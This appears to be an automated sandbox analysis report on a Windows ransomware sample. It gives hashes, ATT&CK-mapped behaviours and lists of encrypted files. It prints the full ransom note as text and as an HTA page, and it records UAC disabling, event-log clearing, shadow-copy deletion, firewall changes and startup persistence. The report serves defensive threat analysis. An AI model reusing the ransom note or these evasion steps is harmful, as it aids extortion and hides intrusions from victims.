e566ee2189f830504af1cb787279111b7b2f3817a61a85bad8d9810701dd4877

Analysis

max time kernel
1563s
max time network
1564s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
16-07-2024 08:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
Size

1.2MB
MD5

058df3567926ad6520a249a3050e8936
SHA1

6cc228fb8a77e57e597e80c8db8b935724276ff3
SHA256

9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556
SHA512

15d5faffb166f4b51c9f90b7f1e9710985f00173a57a64eaf8aeda729e551850e7a2ec4638c7b4cb8f2854813dc38c67bb4e9c7b008cda31868b2bd5aa9518a4
SSDEEP

24576:R2ALmtTEYcN3ALfxdkST1750WKRuTx/0OjuSIMxMgWIMz/8vB0MIGaVp:NLSaN3ALQK14RuTxruCMIMz/IB0MIGar

Score

10^/10

defense_evasion evasion execution impact persistence privilege_escalation ransomware spyware stealer trojan

Malware Config

Extracted

Path

C:\$Recycle.Bin\S-1-5-21-1385883288-3042840365-2734249351-1000\Restore_Your_Files.txt

Ransom Note

All Your Files Are Locked And Important Data Downloaded ! Your Files Are No Longer Accessible Don't Waste Your Time, Without Our Decryption Program Nobody Can't Help You . If Payment Isn't Made After A While We Will Sell OR Publish Some Of Your Data . You Don't Have Much Time! Your ID : SKGW0 If You Want To Restore Them Email Us : [email protected] If You Do Not Receive A Response Within 24 Hours, Send A Message To Our Telegram , ID : @Help_File To Decrypt Your Files You Need Buy Our Special Decrypter In Bitcoin . Every Day The Delay Increases The Price !! The Decryption Price Depends On How Fast You Write To Us Email. We Deliver The Decryptor Immediately After Payment , Please Write Your System ID In The Subject Of Your E-mail. What is the guarantee ! Before Payment You Can Send Some Files For Decryption Test. If We Do Not Fulfill Our Obligations, No One Does Business With Us , Our Reputation Is Important To Us It's Just Business To Get Benefits. =============================================================================== Attention ! Do Not Rename,Modify Encrypted Files . Do Not Try To Recover Files With Free Decryptors Or Third-Party Programs And Antivirus Solutions Because It May Make Decryption Harder Or Destroy Your Files Forever ! =============================================================================== Buy Bitcoin ! https://www.kraken.com/learn/buy-bitcoin-btc https://www.coinbase.com/how-to-buy/bitcoin

Emails

[email protected]

Extracted

Path

C:\Users\Admin\Desktop\ReadMe.hta

Ransom Note

<html><head><title>[email protected]</title><style>.spnn { background-color:yellow;} .xsw{color:white;} .Circe1 {display: list-item;padding-left:30px;}.dives{background-color: #eaecee ;border: 1px solid black;padding:30px;}.center {text-align: center;}.vl {border: 1px solid black;background-color:#f2f4f4;margin-left:5px;margin-right:5px;padding:4px;}.Mrgnlf {margin:15px;}.fnt {background-color:red;height:70px;text-align: center;font-size: 3em;} hr.new1 {border: 0;height: 1px;background-image: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.75), rgba(0, 0, 0, 0));} h3 {font-size: 12vw;}</style><HTA:APPLICATION ICON='msiexec.exe' SINGLEINSTANCE='yes' SysMenu='no'><script language='javascript'>window.moveTo(100, 100);window.resizeTo((window.screen.width)-150,(window.screen.height)-150);</script></head><body><div class="center"><img src="data:image/png;base64,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" alt="Paris"></div></br><div class="fnt">Your Files Has Been <span class="xsw">Stolen</span> And <span class="xsw">Encrypted!</span></div></hr></br></br></br><div class="vl"><div class="Mrgnlf">All Your Files Are Locked And Important Data Downloaded !</br></br>Your Files Are No Longer Accessible Don't Waste Your Time, Without Our Decryption Program Nobody Can't Help You .</br></br>If Payment Isn't Made After A While We Will Sell OR Publish Some Of Your Data, You Don't Have Much Time!</br></br>Your ID : <span class="spnn">SKGW0</span></br></br>If You Want To Restore Them Email Us : <span class="spnn">[email protected]</span></br></br>If You Do Not Receive A Response Within 24 Hours, Send A Message To Our Telegram , ID : <span class="spnn">@Help_File</span></br></br>To Decrypt Your Files You Need Buy Our Special Decrypter In Bitcoin .</br></br>Every Day The Delay Increases The Price !! The Decryption Price Depends On How Fast You Write To Us Email.</br></br>We Deliver The Decryptor Immediately After Payment , Please Write Your System ID In The Subject Of Your E-mail.</br></br></br></br><div class="dives" ><h3>What Is The Guarantee !</h3></br><div class="Circe1">Before Payment You Can Send Some Files For Decryption Test.</div></br></br><div class="Circe1">If We Do Not Fulfill Our Obligations, No One Does Business With Us , Our Reputation Is Important To Us It's Just Business To Get Benefits.</div></br></br><hr class="new1"></br></br><h3>Attention !</h3></br><div class="Circe1">Do Not Rename,Modify Encrypted Files .</div></br></br><div class="Circe1">Do Not Try To Recover Files With Free Decryptors Or Third-Party Programs And Antivirus Solutions Because </br></br>It May Make Decryption Harder Or Destroy Your Files Forever !</div></br></br><hr class="new1"></br></br><h3>Buy Bitcoin !</h3></br><div class="Circe1"><a href='https://www.kraken.com/learn/buy-bitcoin-btc'>https://www.kraken.com/learn/buy-bitcoin-btc</a></div></br></br><div class="Circe1"><a href='https://www.coinbase.com/how-to-buy/bitcoin'>https://www.coinbase.com/how-to-buy/bitcoin</a></div></div></div></div></body></html>

Emails

<html><head><title>[email protected]</title><style>.spnn

class="spnn">[email protected]</span></br></br>If

Signatures

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

reg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Clears Windows event logs 1 TTPs 64 IoCs

evasion ransomware

Indicator Removal

T1070

Processes:

wevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exewevtutil.exe

pid	process
14288	wevtutil.exe
46184
35576	wevtutil.exe
37860	wevtutil.exe
38020	wevtutil.exe
6888	wevtutil.exe
41536	wevtutil.exe
2292	wevtutil.exe
47380
37948	wevtutil.exe
2820	wevtutil.exe
40600	wevtutil.exe
40892	wevtutil.exe
45320	wevtutil.exe
45504	wevtutil.exe
47072
37196	wevtutil.exe
38440	wevtutil.exe
40124	wevtutil.exe
47488
37268	wevtutil.exe
4564	wevtutil.exe
40260	wevtutil.exe
41304	wevtutil.exe
44592	wevtutil.exe
46340
47464
36312	wevtutil.exe
39280	wevtutil.exe
41464	wevtutil.exe
44116	wevtutil.exe
44640	wevtutil.exe
38404	wevtutil.exe
45712	wevtutil.exe
37388	wevtutil.exe
47176
46960
36052	wevtutil.exe
37356	wevtutil.exe
41516	wevtutil.exe
44472	wevtutil.exe
46548
37588	wevtutil.exe
44952	wevtutil.exe
46536
35900	wevtutil.exe
38344	wevtutil.exe
6456	wevtutil.exe
40576	wevtutil.exe
38552	wevtutil.exe
41200	wevtutil.exe
41856	wevtutil.exe
36304	wevtutil.exe
36676	wevtutil.exe
36892	wevtutil.exe
1680	wevtutil.exe
41732	wevtutil.exe
41832	wevtutil.exe
47584
37252	wevtutil.exe
1616	wevtutil.exe
44080	wevtutil.exe
44656	wevtutil.exe
47524

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Modifies Windows Firewall 2 TTPs 6 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

pid process

43456 netsh.exe
39812 netsh.exe
772 netsh.exe
1708 netsh.exe
1848 netsh.exe
43420 netsh.exe
Deletes itself 1 IoCs

Processes:

Xinfecter.exe

pid process

42512 Xinfecter.exe

pid	process
43456	netsh.exe
39812	netsh.exe
772	netsh.exe
1708	netsh.exe
1848	netsh.exe
43420	netsh.exe

pid	process
42512	Xinfecter.exe

Drops startup file 7 IoCs

Processes:

9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exeXinfecter.exe

description	ioc	process
File created	\??\c:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\Restore_Your_Files.txt	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File created	\??\c:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Restore_Your_Files.txt	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ReadMe.hta	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe	Xinfecter.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ReadMe.hta	Xinfecter.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xinfecter.exe	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe

Executes dropped EXE 2 IoCs

Processes:

Xinfecter.exeXinfecter.exe

pid process

42512 Xinfecter.exe
42828 Xinfecter.exe
Loads dropped DLL 5 IoCs

Processes:

cmd.exe

pid process

2536 cmd.exe
2536 cmd.exe
2536 cmd.exe
2536 cmd.exe
2536 cmd.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
42512	Xinfecter.exe
42828	Xinfecter.exe

pid	process
2536	cmd.exe
2536	cmd.exe
2536	cmd.exe
2536	cmd.exe
2536	cmd.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe

description	ioc	process
File opened (read-only)	\??\P:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened (read-only)	\??\R:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened (read-only)	\??\A:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened (read-only)	\??\B:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened (read-only)	\??\G:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened (read-only)	\??\I:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened (read-only)	\??\K:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened (read-only)	\??\N:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened (read-only)	\??\X:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened (read-only)	\??\J:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened (read-only)	\??\L:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened (read-only)	\??\O:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened (read-only)	\??\S:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened (read-only)	\??\W:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened (read-only)	\??\Z:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened (read-only)	\??\H:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened (read-only)	\??\M:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened (read-only)	\??\Q:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened (read-only)	\??\T:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened (read-only)	\??\U:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened (read-only)	\??\V:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened (read-only)	\??\E:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened (read-only)	\??\Y:	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

3 api.ipify.org
Power Settings 1 TTPs 2 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

Power Settings
T1653

Processes:

wevtutil.exewevtutil.exe

pid process

44972 wevtutil.exe
37948 wevtutil.exe

flow	ioc
3	api.ipify.org

pid	process
44972	wevtutil.exe
37948	wevtutil.exe

Drops file in Program Files directory 64 IoCs

Processes:

9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exeXinfecter.exe

description	ioc	process
File opened for modification	\??\c:\Program Files\7-Zip\Lang\eo.txt_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\images\diner_s.png	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolBMPs\OutlineToolIconImagesMask.bmp_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files\Windows Mail\de-DE\WinMail.exe.mui	Xinfecter.exe
File opened for modification	\??\c:\Program Files\Java\jre7\lib\zi\America\Argentina\La_Rioja_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO02228_.WMF_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\3.png	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File created	\??\c:\Program Files (x86)\Common Files\SpeechEngines\Microsoft\TTS20\Restore_Your_Files.txt	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\en-US\css\settings.css	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files\Common Files\Microsoft Shared\MSInfo\it-IT\msinfo32.exe.mui	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\BabyBoyScenesBackground_PAL.wmv	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZY______.PFB_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BL00923_.WMF_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File created	\??\c:\Program Files\DVD Maker\es-ES\Restore_Your_Files.txt	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files\Mozilla Firefox\installation_telemetry.json_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00208_.WMF_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD15173_.GIF_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.controlpanel.ui.configuration_5.5.0.165303.jar_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files (x86)\Microsoft Office\Document Themes 14\Theme Effects\Elemental.eftx_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\auxpad.xml	Xinfecter.exe
File opened for modification	\??\c:\Program Files\Windows Sidebar\Gadgets\Currency.Gadget\en-US\js\service.js	Xinfecter.exe
File opened for modification	\??\c:\Program Files\DVD Maker\Shared\DvdStyles\Memories\Title_content-background.png	Xinfecter.exe
File opened for modification	\??\c:\Program Files (x86)\Common Files\microsoft shared\ink\en-US\rtscom.dll.mui	Xinfecter.exe
File opened for modification	\??\c:\Program Files (x86)\Common Files\microsoft shared\ink\ja-JP\TipRes.dll.mui	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Office Setup Controller\Office.en-us\BRANDING.DLL_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DGPUNCT.DPV_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files\Common Files\Microsoft Shared\ink\es-ES\InputPersonalization.exe.mui	Xinfecter.exe
File created	\??\c:\Program Files\Microsoft Games\FreeCell\es-ES\Restore_Your_Files.txt	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File created	\??\c:\Program Files\VideoLAN\VLC\locale\sq\Restore_Your_Files.txt	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked_black_moon-waning-crescent_partly-cloudy.png	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files\DVD Maker\Shared\DvdStyles\Performance\title_trans_notes.wmv	Xinfecter.exe
File created	\??\c:\Program Files\Common Files\Microsoft Shared\TextConv\en-US\Restore_Your_Files.txt	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files (x86)\Microsoft Office\Office14\3082\MSO.ACL_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\flower_trans_rgb.wmv	Xinfecter.exe
File opened for modification	\??\c:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\notConnectedStateIcon.png	Xinfecter.exe
File opened for modification	\??\c:\Program Files (x86)\Windows Media Player\en-US\wmpnssui.dll.mui	Xinfecter.exe
File opened for modification	\??\c:\Program Files (x86)\Common Files\microsoft shared\THEMES14\RADIAL\PREVIEW.GIF_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files (x86)\Microsoft Office\Office14\PUBBA\MSPUB3A.BDR_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\settings_box_divider_left.png	Xinfecter.exe
File opened for modification	\??\c:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.core.nl_ja_4.4.0.v20140623020002.jar_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\BULLETS\BD21314_.GIF_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\BD21427_.GIF_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files\Windows Sidebar\Gadgets\SlideShow.Gadget\es-ES\settings.html	Xinfecter.exe
File opened for modification	\??\c:\Program Files\DVD Maker\Shared\DvdStyles\BabyBoy\nav_uparrow.png	Xinfecter.exe
File opened for modification	\??\c:\Program Files (x86)\Common Files\SpeechEngines\Microsoft\TTS20\en-US\enu-dsk\M1033DSK.APL	Xinfecter.exe
File opened for modification	\??\c:\Program Files\VideoLAN\VLC\lua\http\mobile.html_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File created	\??\c:\Program Files\Windows Mail\es-ES\Restore_Your_Files.txt	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\HH00546_.WMF_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files\Windows Sidebar\Gadgets\Weather.Gadget\images\undocked_black_moon-waxing-gibbous_partly-cloudy.png	Xinfecter.exe
File opened for modification	\??\c:\Program Files (x86)\Windows Sidebar\Gadgets\SlideShow.Gadget\images\on_desktop\slideshow_glass_frame.png	Xinfecter.exe
File opened for modification	\??\c:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Jayapura_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files (x86)\Common Files\microsoft shared\THEMES14\RMNSQUE\PREVIEW.GIF_[[email protected]].F91	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
File opened for modification	\??\c:\Program Files\Windows Sidebar\Gadgets\SlideShow.Gadget\de-DE\css\settings.css	9d90421b2e7afff3634a9b1590a165c07995d9e4f171e143c131d540147ec556.exe
